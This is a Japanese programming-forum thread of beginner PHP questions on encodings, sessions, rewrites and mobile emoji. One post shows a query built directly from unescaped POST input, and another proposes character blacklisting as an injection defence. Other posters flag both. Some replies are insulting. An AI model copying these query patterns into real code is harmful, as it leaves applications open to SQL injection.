0246nobodyさん2010/04/30(金) 00:21:15ID:???
>>245
頼みます。
PDO使うとなぜか 日本語 を登録すると文字化けしてしまいます。

この場合の文字化けは表示するときに文字化けするのでは無く、
テーブル内のデータをphpMyAdminで見た段階で既に文字化けしている状態です。
0247nobodyさん2010/04/30(金) 00:24:12ID:???
あ、解決しました・・
すみません
0248246 ◆OjMwi7H/1LXC 2010/04/30(金) 00:28:36ID:???
>>247
こいつは偽者です。
02492412010/04/30(金) 00:47:11ID:???
自己解決しました。
PHP5だったからかなぁ
0250nobodyさん2010/04/30(金) 00:58:57ID:???
>>248
0251nobodyさん2010/04/30(金) 06:55:14ID:???
__autoload(classname)はnew classname($string)の$string の部分は拾えない?
02522512010/04/30(金) 06:56:05ID:9AXZ66R6
age
02532512010/04/30(金) 06:58:03ID:9AXZ66R6
あ、classが無ければ呼ばれるだけなので因数は関係ないのね
〆
0254nobodyさん2010/04/30(金) 10:10:05ID:4hLCVpzv
質問です。若干Apacheの領域に絡む気がしますが…。

test.php と言うファイルにアクセスする場合、通常は
ttp://hoge/test.php

こんな感じになりますよね。
これを

ttp://hoge/test
でアクセスできるようにした(条件1)上で、.phpがついている場合はNotFoundになるようにしたい(条件2)のです。

条件1だけならば、ファイルの拡張子を消した上で、Apacheの設定で
<FilesMatch "^test$">
ForceType application/x-httpd-php
</FilesMatch>
としてやればよいと思います。

ただ、これだと編集の際の管理が面倒なのです。(拡張子が消えるため、編集ツールでPHPファイルだと認識させるのが面倒)

次に、Apacheのmod_rewiteで .phpなしへのアクセスをありへのアクセスに書き換える方法。
逆に.phpへのアクセスをなしへのアクセスに書き換えるようにもすれば、条件は達成できそうです。

一応双方解決方法ではあるのですが、もう少し手軽に設定する方法があったりしないでしょうか?
上記の「FilesMatch」の手法すら先日初めて知ったくらいなので、まだ色々機能があるような気がしまして…。
よろしくお願いします。
0255sage2010/04/30(金) 10:13:09ID:???
まず双方の解決策を提示してもらわないと、それよりお手軽かどうかわからんじゃないか。
0256nobodyさん2010/04/30(金) 10:28:00ID:???
>>255
文章読んでやれよ
0257nobodyさん2010/04/30(金) 10:32:36ID:???
意地でもFilesMatchでやるならtestファイル内で別の.phpファイルをincしたらいいのではw。
大人しくmod_rewite使ったほうが良いと思う。
0258nobodyさん2010/04/30(金) 10:41:05ID:???
ヒント

print_r($_SERVER);
をして
ttp://hoge/test
にアクセスしたときと
ttp://hoge/test/index.php
にアクセスしたときの違いを見極める

違いがわかったら後者のアクセスの場合NOT FOUNDにheaderで飛ばす条件をindex.phpに書く
0259nobodyさん2010/04/30(金) 12:30:06ID:tWWSerSV
http://www.experts-exchange.com/images/10149/Eclipse-PHP-Encoding.JPG
http://www19.atpages.jp/imagelinkget/get.php?t=v&u=www.experts-exchange.com/images/t10149/Eclipse-PHP-Encoding.JPG
http://www.ibm.com/developerworks/ibm/library/i-osource13/01_eclipse_php_perspective.jpg
0260nobodyさん2010/04/30(金) 15:55:44ID:???
>>240
開発者とかじゃないの
プレーンなパスワードを目にする可能性がある人をゼロにするのが目標
02612542010/04/30(金) 16:22:29ID:4hLCVpzv
とりあえず、mod_rewriteを使って
RewriteRule ^([^\.]*)$ $1.php [QSA]
こんな感じで対応してみました。

とりあえずは望み通りに動くのですが
(hoge.phpへユーザーがアクセスしたのか、それともrewriteされてアクセスされたの見分け方は現在研究中です)
やはり
レンタルサーバーにmod_rewriteが入っているか不定なことと、そもそも高機能な代わりにあまり処理が速くないなんて記事も見られます。

もうちょっと単純に「拡張子を足す」機能はないものでしょうか?
0262nobodyさん2010/04/30(金) 16:29:53ID:???
<? // vim:set ft=php: ?>
と書いておけば常々phpとして認識してくれるエディタも。
0263nobodyさん2010/04/30(金) 16:38:43ID:ni2JZS+f
パスに変数を挿入する場合は「/」だけ警戒すればいいですか?
「%」も危ないんだっけ?
0264nobodyさん2010/04/30(金) 17:11:54ID:???
>>261
>(hoge.phpへユーザーがアクセスしたのか、それともrewriteされてアクセスされたの見分け方は現在研究中です)
if (strpos($_SERVER['REQUEST_URI'], $_SERVER['SCRIPT_NAME']) !== false) die();
とか?
0265nobodyさん2010/04/30(金) 17:25:53ID:???
REQUEST_URIは基本信用しちゃダメだろ
リクエストしてきたURLをきちんととるのは、本当にめんどくさい
0266nobodyさん2010/04/30(金) 17:47:43ID:???
【OS名】 FreeBSD 7.1-RELEASE-p11 i386
【PHPのバージョン】5.2.13
【連携ソフトウェア】PHP
【質問内容】
レンタルサーバ(さくらインターネット)を借りてPHPを練習しているのですが、
構文エラーが起こった時、エラー内容が出ず、(真っ白)何行目で何を間違
ったか分からないので、エラーを探すのに毎回困っています。
どうやったら、構文エラーを出力してくれるか、教えてもらえないでしょうか?
0267nobodyさん2010/04/30(金) 17:57:23ID:???
display_errors

開発はローカルとかテスト鯖とかVMとかでやろうな
0268nobodyさん2010/04/30(金) 18:17:39ID:???
>>267
レスありがとうございます!
解決しました。
0269nobodyさん2010/04/30(金) 21:32:08ID:nYN/kH3+
DBにFileMakerを使ってPHP開発をしてます。
すごい基本的なことかもしれないけれど、質問です・・・

ユーザーがsubmitボタンを押してPHP側が処理をしている途中で、ユーザーが別のsubmitボタンだとか<a href>リンクをクリックしてしまった際の処理ってどうすればいいんでしょうか・・・
ユーザーがcsvを出力するボタンを押した後、処理途中で他の画面へのリンクボタンなど押すと、
「Internet Explorer ではこのページは表示できません」
と、処理落ちしてしまうことがあります。。。
長い間いろいろなページを行ったりきたりしていると、
何の変哲もないメインページから、レコード一覧を表示するphpファイルのページへ遷移するボタン押下→別のページへのリンク文字クリック、
なんていうような単純な操作でも、時々起こってしまいます。

ユーザーがそういった操作をした時の対策、また、落ちてしまう具体的な原因ってなんなんでしょうか・・・誰か助けて・・・
0270nobodyさん2010/04/30(金) 21:51:40ID:???
Internet Explorer ではこのページは表示できませんで検索すると山ほど出てきますね。
IEの問題です。 
0271nobodyさん2010/04/30(金) 21:59:11ID:???
ブラウザで何かしたからって処理中のPHPが途中で止まるわけない
0272nobodyさん2010/04/30(金) 22:00:40ID:LfT4I+OF
共有サーバーで勉強とかテストなんて・・・恐ろしい子・・・
0273nobodyさん2010/04/30(金) 22:57:35ID:XvYDXLsA
classの含まれないrequire用のファイルを直接アクセスさせないようにする方法はありませんか?
0274nobodyさん2010/04/30(金) 23:06:47ID:???
公開ディレクトリ外に配置
0275nobodyさん2010/05/01(土) 00:12:38ID:???
アクセスさせたくないファイルを集めたディレクトリに.htaccess置いてdeny from all。
0276nobodyさん2010/05/01(土) 02:18:15ID:???
redirect 404 のがいい
docroot の外に置くのが基本だけど
0277nobodyさん2010/05/01(土) 10:21:56ID:QZflVwbA
現在のURLを得るのに$_SERVER["PHP_SELF"]."?".$_SERVER["QUERY_STRING"]と
使っても大丈夫でしょうか?
0278nobodyさん2010/05/01(土) 10:37:48ID:???
あかん
0279nobodyさん2010/05/01(土) 19:20:36ID:t+/1WxSt
atwiki(safe modeで動いてる)に設置したphpで
mkdir("./log/2010/05/01", 0777, true);
で作成したディレクトリが消せなくて困ってます。
どうすれば削除できるでしょうか?

パーミッションは次のようになってます。
ディレクトリ log は ftp で mkdir log; chmod 777 log して作成してます。
drwxrwxrwx 11347 10000 May 1 18:54 log
drwxr-xr-x 80 10000 May 1 01:51 2010
drwxr-xr-x 80 10000 May 1 01:51 05
drwxr-xr-x 80 10000 May 1 01:51 01

php で rmdir("./log/2010/05/01") すると次の警告が出て削除できません。
> Warning: rmdir() [function.rmdir]: SAFE MODE Restriction in effect. The script
> whose uid is 11347 is not allowed to access log/2010/05/01 owned by uid 80
> in /usr/local/www/htdocs/user/public_html/test.php on line 12

php で chmod("./log/2010", 0777) は通りますが、
chmod("./log/2010/05", 0777) は次の警告がでて変更できません。
> Warning: chmod() [function.chmod]: SAFE MODE Restriction in effect. The
> script whose uid is 11347 is not allowed to access log/2010/05 owned by uid
> 80 in /usr/local/www/htdocs/user/public_html/test.php on line 21

php で chown("./log/2010", 11347) はできません。
> Warning: chown() [function.chown]: Operation not permitted in
> /usr/local/www/htdocs/user/public_html/test.php on line 18
0280nobodyさん2010/05/01(土) 21:30:49ID:???
test.php
<html>
<body>

<form action="./test.php" method="POST">
input type="text" name="ID"

<?php
if( isset( $_POST[ 'ID' ] ) ){
$sql = "SELECT pass FROM file WHERE id={$_POST[ 'ID' ]}";
$res = sqlite_query($link, $sql, SQLITE_BOTH, $sqliteerror);
-----------------
IDに12等の数値を打ち込むと$resが通りますが、
IDにqq等のアルファベットを打ち込むと,クエリーが失敗してno such column: qq
になります。

sqlite_openしたdbのidはnvarchar(5)ですでに作っています。
idにqqがあっても失敗するのは、
”WHERE id={$_POST[ 'ID' ]”の所で 型変換みたいなのが必要だからでしょうか?
0281nobodyさん2010/05/01(土) 21:41:14ID:???
>>280
エラーの原因はクエリー中のddがクオートされてないから文字列として扱われていない
"SELECT pass FROM file WHERE id='dd'"

だけど、それ以前にそのコードは危険すぎる
SQLインジェクションについて勉強してくれ
0282nobodyさん2010/05/01(土) 21:54:07ID:???
>>281
' 付けたら行けました、ありがとうございます。
インジェクション対策もやってみます、ハッカーって怖いですね ><
0283nobodyさん2010/05/01(土) 22:08:43ID:???
お前がこえーよw
0284nobodyさん2010/05/01(土) 22:59:00ID:???
test
0285nobodyさん2010/05/01(土) 23:28:07ID:nDRKPSdy
掲示板などで投稿内容はhtmlspecialcharsを通してるんですが、この場合は絵文字なども分解されてしまいます。
絵文字を避けるかたちでhtmlspecialcharsが出来るような回避策か関数というのはありますでしょうか?
0286sage2010/05/02(日) 00:31:44ID:???
$test = array('<' => '<','>' => '>');
$i = strtr($i, $test);
こんなんでいいんじゃね
0287sage2010/05/02(日) 00:32:50ID:???
やべ&amp;をそのまま書いたら意味不明なもんになっちまった
0288nobodyさん2010/05/02(日) 00:44:42ID:???
>>285
んなこたーない
0289nobodyさん2010/05/02(日) 01:23:19ID:???
>>285
ひっかかりそうなのはソフトバンクの x1Bx24ではじまる形式のやつかな。
http://labs.unoh.net/2007/01/softbank_1.html  こんなのあるけど、
掲示板で絵文字の処理(機種別の処理とか)しないの?
0290sage2010/05/02(日) 01:34:21ID:???
>>285
docomoの絵文字は&から始まるからhtmlspecialを通すと&になるからってことかと思う
自信ないけど・・・。
試しにstrtrでsoftbankの太陽の絵文字をドコモの太陽の絵文字に変えようとしてみたらうまくいかんかった。
やっぱ携帯って面倒だな。
$test = strtr($test, array('$Gj'=>'?xE63E;'));
ってやってもひっかからなかったわ。
0291nobodyさん2010/05/02(日) 01:41:13ID:???
XML パースエラー: 整形式になっていません。

>>290
docomoのそれは、数値文字参照化された文字列を評価してるからってことではなくて?
&を&amp;に変換したくないなら、第4引数をFALSEにすればいいと思うけど
0292nobodyさん2010/05/02(日) 02:54:47ID:???
どなたか、bcompilerの使い方を日本語で説明しているサイトをご存知ないでしょうか…
自力ではどう検索しても見つけられませんでした。
もしよければ、直接教えていただくことはできないでしょうか。
02932922010/05/02(日) 02:56:16ID:???
書籍でもいいです。いかに高額だとしても買います。
ジュンク堂池袋店で探しても見つからなかったんですが、
店頭で見つからないような本があるかもしれないので…
もしあったら教えてください。
0294nobodyさん2010/05/02(日) 02:58:26ID:???
華麗にスルー
02952902010/05/02(日) 09:45:03ID:???
>>291
ありがと。
>>289に触発されてsoftbankの太陽の絵文字をdocomoの太陽の絵文字に変換しようとしたんだけど、どうやらstrtrで引っかからなかったみたい。
逆にdocomoからsoftbankはうまくいったんだけど、strtrでただsoftbank絵文字を指定しただけじゃ見つけられないっぽい。
文字コードかな。よくわからん。
0296nobodyさん2010/05/02(日) 10:40:18ID:???
「$Gj」の前後の文字が、そのまま記述されてる場合と、数値文字参照化されている場合がある とか
0297nobodyさん2010/05/02(日) 12:08:06ID:3suugozV
質問させて下さい。

phpで動作するメールフォームをレンタルしました。
拡張子phpのページにメールフォームがあります。

このメールフォームの部分だけ、任意のHTMLに表示させたいのですが、これは可能なのでしょうか?
もし可能であれば、方法をご教示いただけないでしょうか。
ほんまにくだらない質問でスミマセン
0298nobodyさん2010/05/02(日) 12:19:21ID:???
include
02992972010/05/02(日) 12:27:21ID:???
>>298
ありがとうございます。
<?php include("アドレス"); ?>でいいんでしょうか?
やってみたのですが、入力した文字がそのまま表示されるだけでした。
0300nobodyさん2010/05/02(日) 12:53:48ID:???
メールフォームをレンタルと書いているんだからサーバーが違うのでは
0301nobodyさん2010/05/02(日) 13:02:14ID:???
よくわからんが、HTMLの質問じゃね
03022972010/05/02(日) 13:14:14ID:???
>>300
はい。サーバー違います。外部のphpを表示したいのです。
絶対パスを書いたのですが、そもそもそういう問題じゃないんでしょうか…

>>301
とりあえず色々ぐぐってみたのですが、外部のphpをHTML内に表示するには
何か下準備が必要なのでしょうか?

とんちんかんですみません。
03032952010/05/02(日) 13:32:46ID:???
>>296
まだまだ始めたばかりだから解らないかも…
文字コードや正規表現とはまた違う形でマッチさせないといけないという理解でいいのかな…
0304nobodyさん2010/05/02(日) 15:19:13ID:???
>>279
自己解決しました。
safe modeだとphpスクリプトのUIDと対象ディレクトリのUIDが違っていると
rmdir できないので、削除用のphpスクリプトを copy してできた
UID=80のphpスクリプトを実行することで、rmdir に成功しました。

safe modeだとphpスクリプトのUIDが異なるディレクトリで mkdir できないので
mkdir("./log/2010"); で
drwxr-xr-x 80 10000 May 1 01:51 2010
を作成したあと
mkdir("./log/2010/05"); で
drwxr-xr-x 80 10000 May 1 01:51 05
を作成しようとすると失敗しますが、
mkdir("./log/2010/05/01", 0777, true);
だとサブディレクトリまで作成できてしまうのは変じゃないでしょうか?

safe modeでサブディレクトリを作成したい場合は
普通はどうやってるんでしょうか?
03053042010/05/02(日) 15:21:06ID:Y9Snh0cl
ID出すの忘れてました。
あと、>>279 でatwikiじゃなくてatpagesの間違いでした。
0306nobodyさん2010/05/02(日) 18:50:41ID:???
Session_start()でセッション作ってログインしたユーザーを区別したいのですが。

�@$_SESSION["Id"]に idを記録する方法では、Cookieに平文のままは不味いらしくsh1()で記録します。
Sh1()は複合できないらしいのでデータベースと照合してユーザーを区別できない事になります?

�Aサーバー側でセッションIDに対応したユーザーIDとクライアントIPをデータベースで記録。
接続を試みてきたクライアントのIPアドレスとセッションIDでなり済ましを防止する。

普通はどのように処理するものでしょうか?
0307nobodyさん2010/05/02(日) 19:17:25ID:???
>>306
$_SESSION["Id"]の値(ユーザID?)はクライアントには送信されない
cookieに含まれるのはセッション自体のID(キー)

あと質問はID出しでお願いします
03083062010/05/02(日) 19:44:40ID:GCloxDQG
Id出し忘れてました、すみません。

C:\WINDOWS\Temp のセッションファイルをCookieと勘違いしてました。
クライアントとはCookie(セッションID)だけのやり取りで、Cookieに情報を記入しなければ
暗号化の対策は取らなくて良い。
IPアドレスでの比較はCookieを取られた時の為に一般的に必要ですか?

TemporaryInternetFileにそれらしいCookieが見つからなかったんですが、名前がどう付くものかも解りません。


03093062010/05/02(日) 19:58:06ID:GCloxDQG
http://localhost/login.phpで動かしてます。

if (isset($_COOKIE["PHPSESSID"])) {
setcookie("PHPSESSID","",time()-3600,"/");
}
session_destroy();

を やる前にInternetFileフォルダを セッションIDやlocalhost で見ましたがそれらしい物が見つかりませんでした。
0310nobodyさん2010/05/02(日) 20:19:03ID:???
>>309
> IPアドレスでの比較はCookieを取られた時の為に一般的に必要ですか?
しない。NATや携帯で困るよ
セッションハイジャックされた時に備えて
肝心な所でもう一度認証を求めるのが一般的かな

> TemporaryInternetFileにそれらしいCookieが見つからなかったんですが、名前がどう付くものかも解りません。
session_name()
あとマニュアルにいくつかヒントがある
http://jp.php.net/manual/ja/book.session.php
0311nobodyさん2010/05/02(日) 20:23:36ID:???
>>309
セッションで使用するクッキーは有効期限を指定してないから、
クライアント側でファイルには保存されない(ブラウザを閉じると消える)

これはブラウザの仕様だから絶対ではないけど、少なくてもIEでは残らない
03123062010/05/02(日) 21:04:06ID:GCloxDQG
よく設定を変更する時にパスを再確認するページはそういう意味があったんですね。
session_name()はデフォルトのPHPSESSIDでした、Cookieはsetcookieやsession_set_cookie_params
を使って有効期限を決めないとTempでは見れないみたいです。
相談に乗って頂き、ありがとうございました。
0313nobodyさん2010/05/03(月) 12:38:11ID:OYSXXh6t
mysqlにUTF8でデータ入力したいのですが
挙動がおかしいので質問させてください。
アプリ側から送られてくる値をmb_detect_encodingで調べて
UTF-8と確認しそのままINSERTすると値が空白となり入力される。
次にあえてUTF8に変換する処理をmb_convert_encodingにて行い
INSERTすると文字化けした値が入力されている。
これはどういった事象でしょうか?アドバイスをお願いします

各条件
PHP ver 5.2.5
PDOでDBへアクセス
Mysql ver 5.0.51a
DBの設定↓
character_set_client utf8
character_set_connection utf8
character_set_database utf8
character_set_filesystem binary
character_set_results utf8
character_set_server utf8
character_set_system utf8
PHP側の設定↓
mb_language("uni");
mb_internal_encoding("utf-8");
mb_http_input("auto");
mb_http_output("utf-8");
set names UTF8を実行済み

0314nobodyさん2010/05/03(月) 13:22:40ID:QBtafV5U
月の満月と新月だけがわかるシンプルなスクリプトはわかりませんか?
0315nobodyさん2010/05/03(月) 14:28:18ID:???
月齢のはサンプルいっぱいあるけどな。月相のあるかな?
0316nobodyさん2010/05/03(月) 14:52:23ID:0K3XmUj/
【OS名】Linux
【PHPのバージョン】4.4.8
【連携ソフトウェア】PEAR::HTTP_Request
【質問内容】PEARマニュアルにならって、下記な感じでWikipedia APIを利用したいんですけど、
拾得したはずの.xmlを吐いてくれません。
何か間違ってますか?

$url = "http://ja.wikipedia.org/wiki/Special:Export/PHP:_Hypertext_Preprocessor";
$ua = "Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1)";

$req =& new HTTP_Request($urll);
$req->addHeader("User-Agent", $ua);
$req->setMethod(HTTP_REQUEST_METHOD_GET);

$response = $req->sendRequest();

if (PEAR::isError($response)) {
echo $response->getMessage();
} else {
echo $req->getResponseBody();
}

count()や、var_dump()で確認してもいまいち中身がつかめません。
0317nobodyさん2010/05/03(月) 15:02:13ID:???
>>316
>$req =& new HTTP_Request($urll);
$urll
0318nobodyさん2010/05/03(月) 15:17:55ID:???
>>317
すみません。それはコピペ時のTipoです。
0319nobodyさん2010/05/03(月) 15:20:01ID:0K3XmUj/
>>317
すみません。それはコピペ時のTypoです。

ID出ていなかったので再投稿。
0320nobodyさん2010/05/03(月) 15:40:55ID:???
満月の日時を出そうとすると大変なんだね
海外にそれらしいものが落ちていたからそれ使うか-;
0321nobodyさん2010/05/04(火) 02:17:02ID:QL/SNWDx
Softbankの携帯絵文字の検出をしようとしてます
<?
$emo = $_POST['emo'];
$emoji_range = '[G|E|F|O|P|Q][\x21-\x7E]';
$pattern = '/[\x1B][\x24]'.$emoji_range.'+[\x0F]/';
if(preg_match($pattern, $emo)){
echo "<font color=\"#ff0000\">OK</font>";
}
?>
<form method="POST" action="emo.php">
<table border="0">
<tr>
<td>emoticon</td><td><input type=text name="emo"></td>
</tr>
<tr>
<td></td><td><input type=submit value="submit"></td>
</tr>
</table>
</form>
Softbankはエスケープシーケンスの制御コードではさまれた5バイトのコードで絵文字が構成されるようですが上記だとうまくマッチしません。
エスケープシーケンスの制御コードというのがよくわかってないのですが、どのようにすればマッチするようになるでしょうか?
0322nobodyさん2010/05/04(火) 03:49:18ID:???
そのソースのまま試したらマッチしたけど
絵文字はhttp://creation.mb.softbank.jp/web/web_pic_01.htmlからコピペした
>>296の可能性は?
0323nobodyさん2010/05/04(火) 03:52:07ID:???
magic_quotes_gpcとかかも
03243212010/05/04(火) 09:08:55ID:QL/SNWDx
>>322
わざわざ試していただいてありがとうございます。
そのサイトからコピペでもなぜかマッチしないです。数値文字参照などは特になにもしてないので大丈夫かと思いますが・・・。
同じコードでなぜ>>322ではマッチしてこっちでマッチしないのか・・・
>>323でも指摘いただいているのでstripslashesでmagic_quotes_gpcを回避してみましたが結果はかわらず。
原因がさっぱりわかりませんが、環境だけ書いておきます。
サーバー:lolipop
サンプルの文字コード:UTF-8(nobom)
試した絵文字:>>322のサイト・Softbankのエミュレータ・携帯931SH
postで受信した時にすでにマッチしないものになっているような気もするのですが
サンプルの文字コードをEUCやSJISに変えてみても変化はなくお手上げ状態です。
0325nobodyさん2010/05/04(火) 10:08:01ID:???
>>324
エミュレータ試したら、>>322にあるコードと全然違うのが送られてきたわ

男の子の絵文字で
PCだと「1b2447210f」
エミュレータだと「f941」

エミュレータはエミュレータにしか解釈できないコードを使ってるんじゃない?
0326nobodyさん2010/05/04(火) 10:38:11ID:???
Shift_JISのバイナリコードのやつだね。
http://coderepos.org/share/wiki/Mobile/Encoding
ライブラリ使わず自分でやるとものすごく大変だろうけど、頑張ってね。
0327nobodyさん2010/05/04(火) 14:27:33ID:fQRDnxkW
お願いします
$array = array('insert_date' => 'NOW()');
foreach($array as $key => $value){
$pdo->bindValue(":$key", $value);
}
こんな感じでPDOを使ってDATATIME型のカラムにNOW()を入れたいんですが、
このままだとNOW()が文字列として評価されてしまってNOW()が実行しません。
この場合どうすればいいのでしょうか?
03283212010/05/04(火) 17:53:25ID:QL/SNWDx
>>325
わざわざ試していただきありがとうございます。
そもそもその文字列自体がこちらで判別できてない状態です。
>>321でpostで受けたものをfile_put_contentsで出してもテキストには・とだけ出ているだけ・・・。
もちろん文字化けてるわけですが、バイナリエディタで見るとEE80〜というのが入ってることだけは認識できます。
f941とわかるようにするにはpostで受けたあとに何かしないといけないということでしょうか。
自分でも何していいのかわからなくなってきました。

>>326
上でも書きましたがどうやらUTF-8のコードでpostに入ってきているようです。
ちょっと考えが整理しきれてないのでもう少し苦しんでみたいと思います。
0329nobodyさん2010/05/04(火) 18:07:36ID:???
php で SQL インジェクション対策として

' _ % が含まれている場合にはエラーとする為に、

これらの禁則文字が含まれているかを判定し、含まれている場合にはエラーとする
共通関数を作りたいと考えています。

これらの文字が含まれているかどうかの正規表現はどの様にすれば良いでしょうか?
0330nobodyさん2010/05/04(火) 18:08:23ID:???
そんな対策じゃなくプリペアードステートメントにしる
0331nobodyさん2010/05/04(火) 18:23:18ID:???
>>330
PDOを使って最初はやっていたのですが、データベースにsjisを使用している為、
どうしても文字化けをしてしまうのです。

最初からUTF-8にしておけばよかったとかなり後悔してます。
0332nobodyさん2010/05/04(火) 19:01:18ID:???
PDOを使い入力値をバインド機構として処理を行う場合には、
入力値のエスケープ処理を行う必要は無いでしょうか?
0333nobodyさん2010/05/04(火) 20:16:20ID:???
入力値に \ が含まれている場合にはエラーとしたいので、
次のコードを書いたのですが、なぜかすり抜けてしまいます。

どうすれば \ の入力を正規表現にて検知する事が出来ますか?
※\\としてもすり抜けてしまいます。

$str = "\";
$strCheck = "/[\]/";
if (preg_match ($strCheck, $str))
{
//禁則文字は含まれている
$result = 1;
}
else
{
//禁則文字は含まれていない
$result = 0;
}
0334nobodyさん2010/05/04(火) 20:20:08ID:???
\\
0335nobodyさん2010/05/04(火) 20:21:53ID:???
>※\\としてもすり抜けてしまいます。

\\\\
0336nobodyさん2010/05/04(火) 20:42:52ID:???
>>334 >>335

>※\\としてもすり抜けてしまいます。

\ が文字列に含まれていればNGにしたいのです。
0337nobodyさん2010/05/04(火) 20:48:47ID:VwyDt9Tp
テキストエリアの改行についての質問です。

手順�@:
テキストエリアの文章に改行コード\nを入力した状態でPOST送信しました。
【テキストエリアの内容】
あいうえお\nかきくけこ
さしすせそ

手順�A:
次に、テキストエリアの内容を取得してechoで中身を画面に出力しました。
$message = $_POST[テキストエリアのname];
echo $message;


質問:
Enterキーで改行した箇所は半角スペースで表示されていましたが、自分で入力した改行コード\nは
そのまま表示されていました。
何故でしょうか?
【echoで画面に表示された結果】
あいうえお\nかきくけこ さしすせそ

また、ereg_replace関数で$messageの\nを別の文字に置換してみましたが、自分で入力した改行コード\nは
置換されていませんでした。
なぜ置換されなかったのでしょうか?

よろしくお願いします。
0338nobodyさん2010/05/04(火) 20:51:29ID:???
>>333
$str = "\\";
$strCheck = "/\\\\/";
if (preg_match ($strCheck, $str))
{
//禁則文字は含まれている
$result = 1;
}
else
{
//禁則文字は含まれていない
$result = 0;
}
03393362010/05/04(火) 22:05:50ID:???
>>338
ありがとうございます。無事判定する事が出来る様になりました。

ただ、疑問なのはなぜ入力文字列に \ が含まれているかを判定するのに
\\\\ と\を4つも指定すると正常に判定出来き、
\ や \\ と入力をしても正常に判定出来ないのでしょうか?
0340nobodyさん2010/05/04(火) 22:09:08ID:???
>>337
>\nを別の文字に置換してみましたが、自分で入力した改行コード\nは
>置換されていませんでした。

\\

>自分で入力した改行コード\nは
>そのまま表示されていました。
>何故でしょうか?

改行したけりゃ<br>
03413372010/05/04(火) 22:59:37ID:VwyDt9Tp
>>340
ありがとうございます。
エスケープについて勉強不足でした。
0342nobodyさん2010/05/05(水) 01:24:55ID:+PXUShR+
http://pooh-pro.jp/index.shtml
このページはJAVAが使われていると思うのですが、
こういうページを作る場合、
PHPで作っておいて、絵が動く部分だけ、JAVAを付け加えるのでしょうか?
あるいは、1からJAVAでサイトを構築するのでしょうか?
0343nobodyさん2010/05/05(水) 01:40:32ID:???
>>342
JavaじゃなくてJavascript
しかもこれはJavascriptでもなくてFlash
このサイトはどうしているかしらないけど恐らくPHPはなくてもいける内容
0344nobodyさん2010/05/05(水) 01:42:18ID:???
とりあえずオナニーしたくなった
0345nobodyさん2010/05/05(水) 02:03:43ID:+PXUShR+
>>343
どうもです。

> このサイトはどうしているかしらないけど恐らくPHPはなくてもいける内容
では、『 htmlだけで作れる 』 ですか?

それでは、
http://www.fashionsnap.com/
このページもFlashですか?

http://www.fashionsnap.com/streetsnap/
このページはphpだけでいけますか?
0346nobodyさん2010/05/05(水) 02:15:55ID:C7v612lm
http://www.douhokanko.net/doujin/haruhi/kyonko_issyo/20100505.html
↑のサイトのような携帯用コミックスクリプトってPHPで作れますか?
もし作ってもらうとしたらいくらぐらいかかりますか?
0347nobodyさん2010/05/05(水) 02:37:51ID:???
>>345
前者はflash、javascript、php
後者はjavascript、php

要はアニメーションしたり、色が変わったりするのがFlashかJavascript
コンテンツ自体が頻繁に更新したり、何らかの条件によって変化するのがPHP

クライアントサイド(javascript)とサーバサイド(php)の違いについて調べてみてくれ


>>346
PHPでもできるしHTMLだけでも可能
個人相手に探せば1万くらいでやってくれるんじゃない?
03483422010/05/05(水) 02:52:59ID:+PXUShR+
>>347
有り難うございます。
では、
http://www.fashionsnap.com/streetsnap/2010/spring/8914/gallery/index.html?photo=3
このページを作るには、
とりあえず、PHPで土台を作っておき、そこにjavascriptをからめる、
という認識でいいですか?
0349nobodyさん2010/05/05(水) 07:44:04ID:oySvKu41
phpで携帯用のウェブサイトを作っていますが、
利用者が実際に携帯でアクセスしたときにかかるパケット料って
サーバーが処理を実行してHTMLとして出力したものだけという認識であってますでしょうか?
それともphpファイルのファイルサイズが影響するのでしょうか。
(コメントを残していいものか迷っています)

利用者のパケット代を減らすコツなどがあったら伝授して頂けますでしょうか。
0350nobodyさん2010/05/05(水) 08:49:40ID:???
>サーバーが処理を実行してHTMLとして出力したものだけという認識であってますでしょうか?

それでいいよ。

>それともphpファイルのファイルサイズが影響するのでしょうか。

しない。

>(コメントを残していいものか迷っています)

phpソース内のコメントだったら100万行でも書けばいい。パケット数に関係無い。
htmlのコメントだったら…
0351nobodyさん2010/05/05(水) 09:01:10ID:???
>>349
お前はレベルが低すぎ。踏み台にされるのが落ちだからやめといた方がいい。
小学生でもそんな質問はしねーよ。
0352nobodyさん2010/05/05(水) 09:07:38ID:oySvKu41
>>350
レスありがとうございます。
最初の認識で間違いないようで安心しました。
冷静に頭を整理すれば当然のことですね・・・。勉強不足ですみません。
0353nobodyさん2010/05/05(水) 09:16:19ID:???
>>352
お前は脳みそが腐ってる
0354nobodyさん2010/05/05(水) 18:21:02ID:???
PHPでAというページ内に名前を入力する項目を用意し、
入力後にボタンが押された場合に、
Bというページにその内容を表示しようとしているのですが、

なぜか文字列に「 \ 」が勝手に付加されてしまいます。

例)
ソフトバンク → ソ\フトバンク

文字コードは、sjisを指定しています。

また、この事象が起きる場合と起きない場合があるので余計に理由が不明なのですが、
なぜ勝手にエスケープ対象の文字列でも無いのに勝手に「\」が付加されてしまうのでしょうか?
0355nobodyさん2010/05/05(水) 18:25:39ID:DWsAnEwS
起こる場合と起こらない場合の差を見てみればいいんじゃないだろうか
0356nobodyさん2010/05/05(水) 18:48:41ID:???
なぜか ソ だけ文字化けしてしまいます。
03573542010/05/05(水) 18:54:45ID:???
php.ini に
magic_quotes_gpc = OFF
と記述したところ今度は、

ソ が ・ に文字化けしてしまいます。

なぜこんな事になるのでしょうか?
0358nobodyさん2010/05/05(水) 18:54:48ID:???
sjisだからじゃね?
0359nobodyさん2010/05/05(水) 19:33:16ID:???
>>354
5C問題ってやつだな。例えば、ソをコードに直すと 83 5C になる。
この5Cがエスケープ文字になるからバックスラッシュが増えるわけだ。
ちなみにソの他に40種類くらいあったと思う。
手っ取り早いのはSJISから他の文字コードに変えることだと思うけど、
magic_quotes_gpcかaddslashesをはずして自分でエスケープするとかだな。
ソが・になるのは分からん。
0360nobodyさん2010/05/05(水) 20:19:46ID:???
PHP使うなら全部UTF-8に統一しろ
utf-8でないと動かない標準関数もあるし
03613542010/05/05(水) 20:55:16ID:???
>>358
みたいです。。。

>>359
詳しい説明どうもありがとうございます。
>>360さんもおっしゃってる様に、最初からUTF-8を使用していれば良かったのですが、
何を血迷ったか最初にSJISで全てを構築して今日まで至ってしまった為に
(レコード数にして数百万)
このタイミングで全ての文字コードを変更すると大規模な文字化けを誘発しそうで厳しいです。

あーあー、参ったなー
0362nobodyさん2010/05/05(水) 21:02:05ID:???
それ詰んでる
0363nobodyさん2010/05/05(水) 21:12:01ID:???
プログラムのどっかで、stripslashesしてるとみた。
